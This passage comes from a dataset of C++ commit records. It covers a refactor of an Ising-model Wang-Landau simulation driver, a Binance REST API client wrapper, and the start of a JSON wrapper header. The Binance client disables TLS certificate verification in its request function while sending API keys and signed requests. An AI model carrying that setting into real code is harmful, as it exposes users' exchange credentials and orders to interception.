1);\n\tlauncherMessenger.SendMessage(&launcherMessage);\n\treturn true;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ IsingWL.cpp -- WangLandau convergence of the Ising model\n\/\/ Greg Brown (gbrown@fsu.edu,browngrg@comcast.net)\n\n#include\"MC_WangLandau.hpp\"\n#include\"WL_Walker.hpp\"\n#include\"..\/mfia\/Mfia_Hamiltonian.hpp\"\n#include\"..\/ehmodel\/EHModel_Hamiltonian.hpp\"\n#include\"MPI_Struct.hpp\"\n#include\"Random.hpp\"\n#include\"EMX_Measure.hpp\"\n#include\"Null_Measure.hpp\"\n#include\"ProgramOptions.hpp\"\n\n#include<stdio.h>\n#include<ctime>\n#include<algorithm>\n\n\ntemplate<typename HAMILTON, typename MEASURE>\nvoid WangLandauDriver(ProgramOptions& options, int& argc, char* argv[])\n{\n\n   \/\/  Get basic MPI information\n   MPI_Struct world;\n   world = MPI_Struct::world();\n#  ifdef USE_MPI\n   MPI_Comm_rank(world.comm,&world.iproc);\n   MPI_Comm_size(world.comm,&world.nproc);\n#  endif\n \n   bool verbose = options.get_value<bool>(\"verbose\") && (world.iproc==0);\n   if(verbose) std::cout << __FILE__ << \":\" << __LINE__ << \" Construction objects\" << std::endl;\n\n   \/\/ Construct a hamiltonian object \n   HAMILTON hamilton;\n   hamilton.add_options(options);\n\n   \/\/ Construct the sampling object\n   MC_WangLandau simulation;\n   simulation.add_options(options);\n\n   typedef WL_Walker<typename HAMILTON::Config,typename HAMILTON::Observables> Walker;\n   std::vector<Walker> walkerpool(1);\n\n   \/\/ The measurement object\n   \/\/ EMX_Measure measure_obj;\n   MEASURE measure_obj;\n\n   \/\/ Get parameters\n   if(verbose) std::cout << __FILE__ << \":\" << __LINE__ << \" Parsing parameters\" << std::endl;\n   options.parse_command_line(argc,argv);\n   if( options.get_value<bool>(\"help\") ) return;\n\n   \/\/ seed the random number geneator\n   if(verbose) std::cout << __FILE__ << \":\" << __LINE__ << \" Creating random number generator\" << std::endl;\n   simulation.urng.seed( ParallelSeed(SeedFromClock()) );\n   bool rng_output = false;\n   bool rng_failed = RNGTestMoments(simulation.urng,rng_output,std::cout);\n   if( false && rng_failed )\n      std::cout << __FILE__ << \":\" << __LINE__ << \"Problem detected with random number generator (returns 1?)\" << std::endl;\n\n   \/\/ Initialize objects based on ProgramOptions\n   if(verbose) std::cout << __FILE__ << \":\" << __LINE__ << \" Call Init routines\" << std::endl;\n   hamilton.init(verbose);\n   hamilton.initial(walkerpool[0].sigma);\n   simulation.init(hamilton,walkerpool,verbose);\n   measure_obj.init(simulation);\n\n   \/\/ Construct a representation of the model\n   \/\/ This includes the \"microscopic\" configuration sigma_i\n   \/\/ and the macroscopic quantities like magnetization and energy\n   if(verbose) std::cout << __FILE__ << \":\" << __LINE__ << \" Beginning simulation\" << std::endl;\n   simulation.DoConverge(hamilton,walkerpool,measure_obj);\n\n   if(verbose) std::cout << __FILE__ << \":\" << __LINE__ << \" Saving options\" << std::endl;\n   options.write();\n}\n\n\n\nint main(int argc, char* argv[])\n{\n   const bool very_verbose = true;\n   time_t start_time_main;\n   if( very_verbose )\n   {\n      std::cout << \"cmdline:\";\n      for(int i=0; i<argc; i++) std::cout << \" \" << argv[i];\n      std::cout << std::endl;\n      time(&start_time_main);\n      struct tm * timeinfo = localtime(&start_time_main);\n      std::cout << \"start time = \" << asctime(timeinfo); \/\/ << std::endl;\n      int pid = 0;\n      if(true) pid = getpid();\n      std::cout << \"process id = \" << pid << std::endl;\n   }\n\n   \/\/  Get basic MPI information\n   MPI_Struct world;\n#  ifdef USE_MPI\n   MPI_Init(&argc,&argv);\n   world = MPI_Struct::world();\n#  endif\n\n   ProgramOptions options(\"caledonia\",\"Monte Carlo simulations\");\n   char model_name[128] = \"ising\";\n   char sim_name[128] = \"wanglandau\";\n   options.add_option(\"model\",\"Hamiltonian type\", ' ', model_name);\n   options.add_option(\"sim\",  \"Monte Carlo simulation type\", ' ', sim_name);\n   options.parse_command_line2(argc,argv);\n   if( strcmp(sim_name,\"wanglandau\")==0 )\n   {\n      if( strcmp(model_name,\"ising\")==0 )   {  WangLandauDriver<Mfia_Hamiltonian,EMX_Measure>(options,argc,argv); }\n      else if( strcmp(model_name,\"ehmodel\")==0 ) {  WangLandauDriver<EHModel_Hamiltonian,EMX_Measure>(options,argc,argv); }\n      else { if(world.iproc==0) std::cout << \"model \\\"\" << model_name << \"\\\" not recognized for \\\"\" << sim_name << \"\\\"\" << std::endl; }\n   }\n\n\n#  ifdef USE_MPI\n   MPI_Finalize();\n#  endif\n\n\n   time_t stop_time_main;\n   if( very_verbose )\n   {\n      time(&stop_time_main);\n      double secs = difftime(stop_time_main,start_time_main);\n      clock_t tics = clock();\n      double psecs = static_cast<double>(tics)\/static_cast<double>(CLOCKS_PER_SEC);\n      struct tm* timeinfo = localtime(&stop_time_main);\n      std::cout << \"end time = \" << asctime(timeinfo); \/\/ << std::endl;\n      std::cout << \"wall time = \" << secs << std::endl;\n      std::cout << \"process time = \" << psecs << std::endl; \n#     if 1\n      int tSize = 0, resident = 0, share = 0;   \/\/ In kilobytes\n      if(true) \n      {\n         std::ifstream buffer(\"\/proc\/self\/statm\");\n         buffer >> tSize >> resident >> share;\n         buffer.close();\n         long page_size_kb = sysconf(_SC_PAGE_SIZE) \/ 1024; \/\/ in case x86-64 is configured to use 2MB pages\n         resident = resident * page_size_kb;\n         share = share * page_size_kb;\n         std::cout << \"resident memory = \" << resident << \" KBytes\" << std::endl;\n      }\n#     endif\n   }\n\n\n}\n<commit_msg>Moving towards factory<commit_after>\/\/ IsingWL.cpp -- WangLandau convergence of the Ising model\n\/\/ Greg Brown (gbrown@fsu.edu,browngrg@comcast.net)\n\n#include\"MC_WangLandau.hpp\"\n#include\"WL_Walker.hpp\"\n#include\"..\/mfia\/Mfia_Hamiltonian.hpp\"\n#include\"..\/ehmodel\/EHModel_Hamiltonian.hpp\"\n#include\"MPI_Struct.hpp\"\n#include\"Random.hpp\"\n#include\"EMX_Measure.hpp\"\n#include\"Null_Measure.hpp\"\n#include\"ProgramOptions.hpp\"\n\n#include<stdio.h>\n#include<ctime>\n#include<algorithm>\n\n\nclass CaledoniaDriver\n{\n   public:\n      virtual void DoCalculation(ProgramOptions& options, int& argc, char* argv[] ) = 0;\n};\n\n\ntemplate<typename HAMILTON, typename MEASURE>\nclass WangLandauDriver : public CaledoniaDriver\n{\npublic:\n   void DoCalculation(ProgramOptions& options, int& argc, char* argv[]);\n};\n\n\ntemplate<typename HAMILTON, typename MEASURE>\nvoid WangLandauDriver<HAMILTON,MEASURE>::DoCalculation(ProgramOptions& options, int& argc, char* argv[])\n{\n   \/\/  Get basic MPI information\n   MPI_Struct world;\n   world = MPI_Struct::world();\n#  ifdef USE_MPI\n   MPI_Comm_rank(world.comm,&world.iproc);\n   MPI_Comm_size(world.comm,&world.nproc);\n#  endif\n \n   bool verbose = options.get_value<bool>(\"verbose\") && (world.iproc==0);\n   if(verbose) std::cout << __FILE__ << \":\" << __LINE__ << \" Construction objects\" << std::endl;\n\n   \/\/ Construct a hamiltonian object \n   HAMILTON hamilton;\n   hamilton.add_options(options);\n\n   \/\/ Construct the sampling object\n   MC_WangLandau simulation;\n   simulation.add_options(options);\n\n   typedef WL_Walker<typename HAMILTON::Config,typename HAMILTON::Observables> Walker;\n   std::vector<Walker> walkerpool(1);\n\n   \/\/ The measurement object\n   \/\/ EMX_Measure measure_obj;\n   MEASURE measure_obj;\n\n   \/\/ Get parameters\n   if(verbose) std::cout << __FILE__ << \":\" << __LINE__ << \" Parsing parameters\" << std::endl;\n   options.parse_command_line(argc,argv);\n   if( options.get_value<bool>(\"help\") ) return;\n\n   \/\/ seed the random number geneator\n   if(verbose) std::cout << __FILE__ << \":\" << __LINE__ << \" Creating random number generator\" << std::endl;\n   simulation.urng.seed( ParallelSeed(SeedFromClock()) );\n   bool rng_output = false;\n   bool rng_failed = RNGTestMoments(simulation.urng,rng_output,std::cout);\n   if( false && rng_failed )\n      std::cout << __FILE__ << \":\" << __LINE__ << \"Problem detected with random number generator (returns 1?)\" << std::endl;\n\n   \/\/ Initialize objects based on ProgramOptions\n   if(verbose) std::cout << __FILE__ << \":\" << __LINE__ << \" Call Init routines\" << std::endl;\n   hamilton.init(verbose);\n   hamilton.initial(walkerpool[0].sigma);\n   simulation.init(hamilton,walkerpool,verbose);\n   measure_obj.init(simulation);\n\n   \/\/ Construct a representation of the model\n   \/\/ This includes the \"microscopic\" configuration sigma_i\n   \/\/ and the macroscopic quantities like magnetization and energy\n   if(verbose) std::cout << __FILE__ << \":\" << __LINE__ << \" Beginning simulation\" << std::endl;\n   simulation.DoConverge(hamilton,walkerpool,measure_obj);\n\n   if(verbose) std::cout << __FILE__ << \":\" << __LINE__ << \" Saving options\" << std::endl;\n   options.write();\n}\n\n\n\nint main(int argc, char* argv[])\n{\n   const bool very_verbose = true;\n   time_t start_time_main;\n   if( very_verbose )\n   {\n      std::cout << \"cmdline:\";\n      for(int i=0; i<argc; i++) std::cout << \" \" << argv[i];\n      std::cout << std::endl;\n      time(&start_time_main);\n      struct tm * timeinfo = localtime(&start_time_main);\n      std::cout << \"start time = \" << asctime(timeinfo); \/\/ << std::endl;\n      int pid = 0;\n      if(true) pid = getpid();\n      std::cout << \"process id = \" << pid << std::endl;\n   }\n\n   \/\/  Get basic MPI information\n   MPI_Struct world;\n#  ifdef USE_MPI\n   MPI_Init(&argc,&argv);\n   world = MPI_Struct::world();\n#  endif\n\n   CaledoniaDriver* Driver = 0;\n   ProgramOptions options(\"caledonia\",\"Monte Carlo simulations\");\n   char model_name[128] = \"ising\";\n   char sim_name[128] = \"wanglandau\";\n   options.add_option(\"model\",\"Hamiltonian type\", ' ', model_name);\n   options.add_option(\"sim\",  \"Monte Carlo simulation type\", ' ', sim_name);\n   options.parse_command_line2(argc,argv);\n   if( strcmp(sim_name,\"wanglandau\")==0 )\n   {\n      if( strcmp(model_name,\"ising\")==0 )   { Driver = new WangLandauDriver<Mfia_Hamiltonian,EMX_Measure>(); }\n      else if( strcmp(model_name,\"ehmodel\")==0 ) { Driver = new  WangLandauDriver<EHModel_Hamiltonian,EMX_Measure>(); }\n      else { if(world.iproc==0) std::cout << \"model \\\"\" << model_name << \"\\\" not recognized for \\\"\" << sim_name << \"\\\"\" << std::endl; }\n   }\n\n   Driver->DoCalculation(options,argc,argv);\n\n#  ifdef USE_MPI\n   MPI_Finalize();\n#  endif\n\n\n   time_t stop_time_main;\n   if( very_verbose )\n   {\n      time(&stop_time_main);\n      double secs = difftime(stop_time_main,start_time_main);\n      clock_t tics = clock();\n      double psecs = static_cast<double>(tics)\/static_cast<double>(CLOCKS_PER_SEC);\n      struct tm* timeinfo = localtime(&stop_time_main);\n      std::cout << \"end time = \" << asctime(timeinfo); \/\/ << std::endl;\n      std::cout << \"wall time = \" << secs << std::endl;\n      std::cout << \"process time = \" << psecs << std::endl; \n#     if 1\n      int tSize = 0, resident = 0, share = 0;   \/\/ In kilobytes\n      if(true) \n      {\n         std::ifstream buffer(\"\/proc\/self\/statm\");\n         buffer >> tSize >> resident >> share;\n         buffer.close();\n         long page_size_kb = sysconf(_SC_PAGE_SIZE) \/ 1024; \/\/ in case x86-64 is configured to use 2MB pages\n         resident = resident * page_size_kb;\n         share = share * page_size_kb;\n         std::cout << \"resident memory = \" << resident << \" KBytes\" << std::endl;\n      }\n#     endif\n   }\n\n\n}\n<|endoftext|>"}
{"text":"<commit_before>#pragma once\n\n#include <json.hpp>\nusing json = nlohmann::json;\n\n#include <string>\n#include <iostream>\n#include <memory>\n#include <vector>\n#include <map>\n#include <initializer_list>\nusing namespace std;\n\n#include <cpr\/cpr.h>\nusing namespace cpr;\n\n#ifndef FORMAT_HEADER\n#define FORMAT_HEADER\n#include <fmt\/format.h>\n#include <fmt\/format.cc>\n#endif\nusing namespace fmt;\n\n#include <range\/v3\/all.hpp>\n\n#include <cryptlite\/sha256.h>\n#include <cryptlite\/hmac.h>\nusing namespace cryptlite;\n\nnamespace api {\n  typedef map<string, string> Map;\n\n  enum class REQUEST_TYPE : size_t {\n    GET,\n    POST,\n    PUT,\n    DELETE\n  };\n\n  class Api {\n  private:\n    string api_key;\n    string api_secret;\n    string domain;\n    Header public_header;\n    Header user_header;\n\n  public:\n    explicit Api(string key, string secret);\n    auto flatten_params(const Map &params) -> string;\n    auto append_params(const string &url, const Map &params) -> string;\n    auto append_params(const string &url, const string &params_str) -> string;\n    auto response_tweak(Response response) -> json;\n    auto request(REQUEST_TYPE method, const string &url, const Header &header) -> json;\n    auto public_get(const string &url, const Map &params) -> json;\n    auto public_get(const string &url) -> json;\n    auto user_get(const string &url, const  Map &params) -> json;\n    auto user_get(const string &url) -> json;\n    auto signed_get(const string &url, const  Map &params) -> json;\n    auto signed_get(const string &url) -> json;\n    auto public_post(const string &url, const Map &params) -> json;\n    auto public_post(const string &url) -> json;\n    auto user_post(const string &url, const  Map &params) -> json;\n    auto user_post(const string &url) -> json;\n    auto signed_post(const string &url, const  Map &params) -> json;\n    auto signed_post(const string &url) -> json;\n    auto public_put(const string &url, const Map &params) -> json;\n    auto public_put(const string &url) -> json;\n    auto user_put(const string &url, const  Map &params) -> json;\n    auto user_put(const string &url) -> json;\n    auto signed_put(const string &url, const  Map &params) -> json;\n    auto signed_put(const string &url) -> json;\n    auto public_delete(const string &url, const Map &params) -> json;\n    auto public_delete(const string &url) -> json;\n    auto user_delete(const string &url, const  Map &params) -> json;\n    auto user_delete(const string &url) -> json;\n    auto signed_delete(const string &url, const  Map &params) -> json;\n    auto signed_delete(const string &url) -> json;\n  };\n\n  Api::Api(string key, string secret): api_key(key), api_secret(secret) {\n    this->domain = \"https:\/\/www.binance.com\";\n    this->public_header = {\n      { \"User-Agent\", \"Mozilla\/4.0 (compatible; Node Binance API)\" },\n      { \"accept\", \"application\/json\" },\n      { \"Content-Type\", \"application\/x-www-form-urlencoded\" }\n    };\n    this->user_header = {\n      { \"User-Agent\", \"Mozilla\/4.0 (compatible; Node Binance API)\" },\n      { \"accept\", \"application\/json\" },\n      { \"Content-Type\", \"application\/x-www-form-urlencoded\" },\n      { \"X-MBX-APIKEY\", format(\"{}\", this->api_key) }\n    };\n  }\n\n  auto Api::flatten_params(const Map &params) -> string {\n    vector<string> params_vec = params\n      | ranges::view::transform([](const auto &pair) {\n          return format(\"{0}={1}\", pair.first, pair.second);\n        });\n    return params_vec | ranges::view::join('&');\n  }\n\n  auto Api::append_params(const string &url, const Map &params) -> string {\n    auto params_str = flatten_params(params);\n    if (params_str.empty()) {\n      return url;\n    } else {\n      return format(\"{0}?{1}\", url, params_str);\n    }\n  }\n\n  auto Api::append_params(const string &url, const string &params_str) -> string {\n    if (params_str.empty()) {\n      return url;\n    } else {\n      return format(\"{0}?{1}\", url, params_str);\n    }\n  }\n\n  auto Api::response_tweak(Response response) -> json {\n    if (response.status_code < 400) {\n      return nlohmann::json::parse(response.text);\n    } else {\n      cout << response.status_code << \" \" << response.text << endl;\n      return nullptr;\n    }\n  }\n\n  auto Api::request(REQUEST_TYPE method, const string &url, const Header &header) -> json {\n    Session session;\n    session.SetUrl(Url{ format(\"{0}{1}\", this->domain, url) });\n    session.SetHeader(header);\n    session.SetVerifySsl(VerifySsl{ false });\n\n    Response response;\n    switch (method) {\n    case REQUEST_TYPE::GET: {\n      response = session.Get();\n      break;\n    }\n    case REQUEST_TYPE::POST: {\n      response = session.Post();\n      break;\n    }\n    case REQUEST_TYPE::PUT: {\n      response = session.Put();\n      break;\n    }\n    case REQUEST_TYPE::DELETE: {\n      response = session.Delete();\n      break;\n    }\n    default:\n      break;\n    }\n\n    return response_tweak(response);\n  }\n\n  auto Api::public_get(const string &url, const Map &params) -> json {\n    return request(REQUEST_TYPE::GET, append_params(url, params), public_header);\n  }\n\n  auto Api::public_get(const string &url) -> json {\n    return public_get(url, Map({}));\n  }\n\n  auto Api::user_get(const string &url, const  Map &params) -> json {\n    return request(REQUEST_TYPE::GET, append_params(url, params), user_header);\n  }\n\n  auto Api::user_get(const string &url) -> json {\n    return user_get(url, Map({}));\n  }\n\n  auto Api::signed_get(const string &url, const Map &params) -> json {\n    auto params_str = flatten_params(params);\n    auto signature = hmac<sha256>::calc_hex(params_str, api_secret);\n    Map new_params = params;\n    new_params[\"signature\"] = signature;\n\n    return request(REQUEST_TYPE::GET, append_params(url, new_params), user_header);\n  }\n\n  auto Api::signed_get(const string &url) -> json {\n    return signed_get(url, Map({}));\n  }\n\n  auto Api::public_post(const string &url, const Map &params) -> json {\n    return request(REQUEST_TYPE::POST, append_params(url, params), public_header);\n  }\n\n  auto Api::public_post(const string &url) -> json {\n    return public_post(url, Map({}));\n  }\n\n  auto Api::user_post(const string &url, const Map &params) -> json {\n    return request(REQUEST_TYPE::POST, append_params(url, params), user_header);\n  }\n\n  auto Api::user_post(const string &url) -> json {\n    return user_post(url, Map({}));\n  }\n\n  auto Api::signed_post(const string &url, const Map &params) -> json {\n    auto params_str = flatten_params(params);\n    auto signature = hmac<sha256>::calc_hex(params_str, api_secret);\n    Map new_params = params;\n    new_params[\"signature\"] = signature;\n\n    return request(REQUEST_TYPE::POST, append_params(url, new_params), user_header);\n  }\n\n  auto Api::signed_post(const string &url) -> json {\n    return request(REQUEST_TYPE::POST, url, user_header);\n  }\n\n  auto Api::public_put(const string &url, const Map &params) -> json {\n    return request(REQUEST_TYPE::PUT, append_params(url, params), public_header);\n  }\n\n  auto Api::public_put(const string &url) -> json {\n    return public_put(url, Map({}));\n  }\n\n  auto Api::user_put(const string &url, const Map &params) -> json {\n    return request(REQUEST_TYPE::PUT, append_params(url, params), user_header);\n  }\n\n  auto Api::user_put(const string &url) -> json {\n    return user_put(url, Map({}));\n  }\n\n  auto Api::signed_put(const string &url, const Map &params) -> json {\n    auto params_str = flatten_params(params);\n    auto signature = hmac<sha256>::calc_hex(params_str, api_secret);\n    Map new_params = params;\n    new_params[\"signature\"] = signature;\n\n    return request(REQUEST_TYPE::PUT, append_params(url, new_params), user_header);\n  }\n\n  auto Api::signed_put(const string &url) -> json {\n    return signed_put(url, Map({}));\n  }\n\n  auto Api::public_delete(const string &url, const Map &params) -> json {\n    return request(REQUEST_TYPE::DELETE, append_params(url, params), public_header);\n  }\n\n  auto Api::public_delete(const string &url) -> json {\n    return public_delete(url, Map({}));\n  }\n\n  auto Api::user_delete(const string &url, const Map &params) -> json {\n    return request(REQUEST_TYPE::DELETE, append_params(url, params), user_header);\n  }\n\n  auto Api::user_delete(const string &url) -> json {\n    return user_delete(url, Map({}));\n  }\n\n  auto Api::signed_delete(const string &url, const Map &params) -> json {\n    auto params_str = flatten_params(params);\n    auto signature = hmac<sha256>::calc_hex(params_str, api_secret);\n    Map new_params = params;\n    new_params[\"signature\"] = signature;\n\n    return request(REQUEST_TYPE::DELETE, append_params(url, new_params), user_header);\n  }\n\n  auto Api::signed_delete(const string &url) -> json {\n    return signed_delete(url, Map({}));\n  }\n}\n<commit_msg>Extract add_signature<commit_after>#pragma once\n\n#include <json.hpp>\nusing json = nlohmann::json;\n\n#include <string>\n#include <iostream>\n#include <memory>\n#include <vector>\n#include <map>\n#include <initializer_list>\nusing namespace std;\n\n#include <cpr\/cpr.h>\nusing namespace cpr;\n\n#ifndef FORMAT_HEADER\n#define FORMAT_HEADER\n#include <fmt\/format.h>\n#include <fmt\/format.cc>\n#endif\nusing namespace fmt;\n\n#include <range\/v3\/all.hpp>\n\n#include <cryptlite\/sha256.h>\n#include <cryptlite\/hmac.h>\nusing namespace cryptlite;\n\nnamespace api {\n  typedef map<string, string> Map;\n\n  enum class REQUEST_TYPE : size_t {\n    GET,\n    POST,\n    PUT,\n    DELETE\n  };\n\n  class Api {\n  private:\n    string api_key;\n    string api_secret;\n    string domain;\n    Header public_header;\n    Header user_header;\n\n  public:\n    explicit Api(string key, string secret);\n    auto flatten_params(const Map &params) -> string;\n    auto append_params(const string &url, const Map &params) -> string;\n    auto append_params(const string &url, const string &params_str) -> string;\n    auto response_tweak(Response response) -> json;\n    auto request(REQUEST_TYPE method, const string &url, const Header &header) -> json;\n    auto add_signature(const Map &params) -> Map;\n    auto public_get(const string &url, const Map &params) -> json;\n    auto public_get(const string &url) -> json;\n    auto user_get(const string &url, const  Map &params) -> json;\n    auto user_get(const string &url) -> json;\n    auto signed_get(const string &url, const  Map &params) -> json;\n    auto signed_get(const string &url) -> json;\n    auto public_post(const string &url, const Map &params) -> json;\n    auto public_post(const string &url) -> json;\n    auto user_post(const string &url, const  Map &params) -> json;\n    auto user_post(const string &url) -> json;\n    auto signed_post(const string &url, const  Map &params) -> json;\n    auto signed_post(const string &url) -> json;\n    auto public_put(const string &url, const Map &params) -> json;\n    auto public_put(const string &url) -> json;\n    auto user_put(const string &url, const  Map &params) -> json;\n    auto user_put(const string &url) -> json;\n    auto signed_put(const string &url, const  Map &params) -> json;\n    auto signed_put(const string &url) -> json;\n    auto public_delete(const string &url, const Map &params) -> json;\n    auto public_delete(const string &url) -> json;\n    auto user_delete(const string &url, const  Map &params) -> json;\n    auto user_delete(const string &url) -> json;\n    auto signed_delete(const string &url, const  Map &params) -> json;\n    auto signed_delete(const string &url) -> json;\n  };\n\n  Api::Api(string key, string secret): api_key(key), api_secret(secret) {\n    this->domain = \"https:\/\/www.binance.com\";\n    this->public_header = {\n      { \"User-Agent\", \"Mozilla\/4.0 (compatible; Node Binance API)\" },\n      { \"accept\", \"application\/json\" },\n      { \"Content-Type\", \"application\/x-www-form-urlencoded\" }\n    };\n    this->user_header = {\n      { \"User-Agent\", \"Mozilla\/4.0 (compatible; Node Binance API)\" },\n      { \"accept\", \"application\/json\" },\n      { \"Content-Type\", \"application\/x-www-form-urlencoded\" },\n      { \"X-MBX-APIKEY\", format(\"{}\", this->api_key) }\n    };\n  }\n\n  auto Api::flatten_params(const Map &params) -> string {\n    vector<string> params_vec = params\n      | ranges::view::transform([](const auto &pair) {\n          return format(\"{0}={1}\", pair.first, pair.second);\n        });\n    return params_vec | ranges::view::join('&');\n  }\n\n  auto Api::append_params(const string &url, const Map &params) -> string {\n    auto params_str = flatten_params(params);\n    if (params_str.empty()) {\n      return url;\n    } else {\n      return format(\"{0}?{1}\", url, params_str);\n    }\n  }\n\n  auto Api::append_params(const string &url, const string &params_str) -> string {\n    if (params_str.empty()) {\n      return url;\n    } else {\n      return format(\"{0}?{1}\", url, params_str);\n    }\n  }\n\n  auto Api::response_tweak(Response response) -> json {\n    if (response.status_code < 400) {\n      return nlohmann::json::parse(response.text);\n    } else {\n      cout << response.status_code << \" \" << response.text << endl;\n      return nullptr;\n    }\n  }\n\n  auto Api::add_signature(const Map &params) -> Map {\n    auto params_str = flatten_params(params);\n    auto signature = hmac<sha256>::calc_hex(params_str, this->api_secret);\n    Map new_params = params;\n    new_params[\"signature\"] = signature;\n    return new_params;\n  }\n\n  auto Api::request(REQUEST_TYPE method, const string &url, const Header &header) -> json {\n    Session session;\n    session.SetUrl(Url{ format(\"{0}{1}\", this->domain, url) });\n    session.SetHeader(header);\n    session.SetVerifySsl(VerifySsl{ false });\n\n    Response response;\n    switch (method) {\n    case REQUEST_TYPE::GET: {\n      response = session.Get();\n      break;\n    }\n    case REQUEST_TYPE::POST: {\n      response = session.Post();\n      break;\n    }\n    case REQUEST_TYPE::PUT: {\n      response = session.Put();\n      break;\n    }\n    case REQUEST_TYPE::DELETE: {\n      response = session.Delete();\n      break;\n    }\n    default:\n      break;\n    }\n\n    return response_tweak(response);\n  }\n\n  auto Api::public_get(const string &url, const Map &params) -> json {\n    return request(REQUEST_TYPE::GET, append_params(url, params), public_header);\n  }\n\n  auto Api::public_get(const string &url) -> json {\n    return public_get(url, Map({}));\n  }\n\n  auto Api::user_get(const string &url, const  Map &params) -> json {\n    return request(REQUEST_TYPE::GET, append_params(url, params), user_header);\n  }\n\n  auto Api::user_get(const string &url) -> json {\n    return user_get(url, Map({}));\n  }\n\n  auto Api::signed_get(const string &url, const Map &params) -> json {\n    return request(REQUEST_TYPE::GET, append_params(url, add_signature(params)), user_header);\n  }\n\n  auto Api::signed_get(const string &url) -> json {\n    return signed_get(url, Map({}));\n  }\n\n  auto Api::public_post(const string &url, const Map &params) -> json {\n    return request(REQUEST_TYPE::POST, append_params(url, params), public_header);\n  }\n\n  auto Api::public_post(const string &url) -> json {\n    return public_post(url, Map({}));\n  }\n\n  auto Api::user_post(const string &url, const Map &params) -> json {\n    return request(REQUEST_TYPE::POST, append_params(url, params), user_header);\n  }\n\n  auto Api::user_post(const string &url) -> json {\n    return user_post(url, Map({}));\n  }\n\n  auto Api::signed_post(const string &url, const Map &params) -> json {\n    return request(REQUEST_TYPE::POST, append_params(url, add_signature(params)), user_header);\n  }\n\n  auto Api::signed_post(const string &url) -> json {\n    return request(REQUEST_TYPE::POST, url, user_header);\n  }\n\n  auto Api::public_put(const string &url, const Map &params) -> json {\n    return request(REQUEST_TYPE::PUT, append_params(url, params), public_header);\n  }\n\n  auto Api::public_put(const string &url) -> json {\n    return public_put(url, Map({}));\n  }\n\n  auto Api::user_put(const string &url, const Map &params) -> json {\n    return request(REQUEST_TYPE::PUT, append_params(url, params), user_header);\n  }\n\n  auto Api::user_put(const string &url) -> json {\n    return user_put(url, Map({}));\n  }\n\n  auto Api::signed_put(const string &url, const Map &params) -> json {\n    return request(REQUEST_TYPE::PUT, append_params(url, add_signature(params)), user_header);\n  }\n\n  auto Api::signed_put(const string &url) -> json {\n    return signed_put(url, Map({}));\n  }\n\n  auto Api::public_delete(const string &url, const Map &params) -> json {\n    return request(REQUEST_TYPE::DELETE, append_params(url, params), public_header);\n  }\n\n  auto Api::public_delete(const string &url) -> json {\n    return public_delete(url, Map({}));\n  }\n\n  auto Api::user_delete(const string &url, const Map &params) -> json {\n    return request(REQUEST_TYPE::DELETE, append_params(url, params), user_header);\n  }\n\n  auto Api::user_delete(const string &url) -> json {\n    return user_delete(url, Map({}));\n  }\n\n  auto Api::signed_delete(const string &url, const Map &params) -> json {\n    return request(REQUEST_TYPE::DELETE, append_params(url, add_signature(params)), user_header);\n  }\n\n  auto Api::signed_delete(const string &url) -> json {\n    return signed_delete(url, Map({}));\n  }\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/ janssonxx - C++ wrapper for jansson\n\/\/\n\/\/ author: Sean Middleditch <sean@middleditch.us>\n\/\/\n\/\/ janssonxx is free software; you can redistribute it and\/or modify\n\/\/ it under the terms of the MIT license. See LICENSE for details.\n\n#if !defined(JANSSON_HPP)\n#define JANSSON_HPP 1\n\n#include <string>\n#include <ostream>\n#include <istream>\n#include <sstream>\n#include <cstdlib>\n\nnamespace json {\n\t\/\/ include Jansson C library into the json namespace\n\t#include <jansson.h>\n\n\tclass Iterator;\n\tclass Value;\n\n\t\/\/ implementation details; do not use directly\n\tnamespace _private {\n\t\tclass ElementProxy;\n\t\tclass PropertyProxy;\n\n\t\t\/\/ base class for JSON value interface\n\t\ttemplate <typename _Base>\n\t\tclass ValueBase : public _Base {\n\t\tpublic:\n\t\t\t\/\/ empty constructor\n\t\t\tValueBase() : _Base() {}\n\n\t\t\t\/\/ copy constructor\n\t\t\tValueBase(const _Base& base) : _Base(base) {}\n\n\t\t\t\/\/ create reference to value\n\t\t\tValueBase(json_t* json) : _Base(json) {}\n\n\t\t\t\/\/ assignment operator\n\t\t\tinline ValueBase& operator=(const Value& value);\n\n\t\t\t\/\/ check value type\n\t\t\tinline bool is_undefined() const;\n\t\t\tinline bool is_object() const;\n\t\t\tinline bool is_array() const;\n\t\t\tinline bool is_string() const;\n\t\t\tinline bool is_integer() const;\n\t\t\tinline bool is_real() const;\n\t\t\tinline bool is_number() const;\n\t\t\tinline bool is_true() const;\n\t\t\tinline bool is_false() const;\n\t\t\tinline bool is_boolean() const;\n\t\t\tinline bool is_null() const;\n\n\t\t\t\/\/ get size of array or object\n\t\t\tinline unsigned int size() const;\n\n\t\t\t\/\/ get value at array index (const version)\n\t\t\tinline const Value at(unsigned int index) const;\n\n\t\t\tinline const Value operator[](signed int index) const;\n\t\t\tinline const Value operator[](unsigned int index) const;\n\t\t\tinline const Value operator[](signed short index) const;\n\t\t\tinline const Value operator[](unsigned short index) const;\n\t\t\tinline const Value operator[](signed long index) const;\n\t\t\tinline const Value operator[](unsigned long index) const;\n\n\t\t\t\/\/ get value at array index (non-const version)\n\t\t\tinline ValueBase<ElementProxy> at(unsigned int index);\n\n\t\t\tinline ValueBase<ElementProxy> operator[](signed int index);\n\t\t\tinline ValueBase<ElementProxy> operator[](unsigned int index);\n\t\t\tinline ValueBase<ElementProxy> operator[](signed short index);\n\t\t\tinline ValueBase<ElementProxy> operator[](unsigned short index);\n\t\t\tinline ValueBase<ElementProxy> operator[](signed long index);\n\t\t\tinline ValueBase<ElementProxy> operator[](unsigned long index);\n\n\t\t\t\/\/ get object property (const version)\n\t\t\tinline const Value get(const char* key) const;\n\n\t\t\tinline const Value get(const std::string& key) const;\n\t\t\tinline const Value operator[](const char* key) const;\n\t\t\tinline const Value operator[](const std::string& key) const;\n\n\t\t\t\/\/ get object property (non-const version)\n\t\t\tinline ValueBase<PropertyProxy> get(const char* key);\n\n\t\t\tinline ValueBase<PropertyProxy> get(const std::string& key);\n\t\t\tinline ValueBase<PropertyProxy> operator[](const char* key);\n\t\t\tinline ValueBase<PropertyProxy> operator[](const std::string& key);\n\n\t\t\t\/\/ clear all array\/object values\n\t\t\tinline void clear();\n\n\t\t\t\/\/ get value cast to specified type\n\t\t\tinline const char* as_cstring() const;\n\t\t\tinline std::string as_string() const;\n\t\t\tinline int as_integer() const;\n\t\t\tinline double as_real() const;\n\t\t\tinline double as_number() const;\n\t\t\tinline bool as_boolean() const;\n\n\t\t\t\/\/ set an object 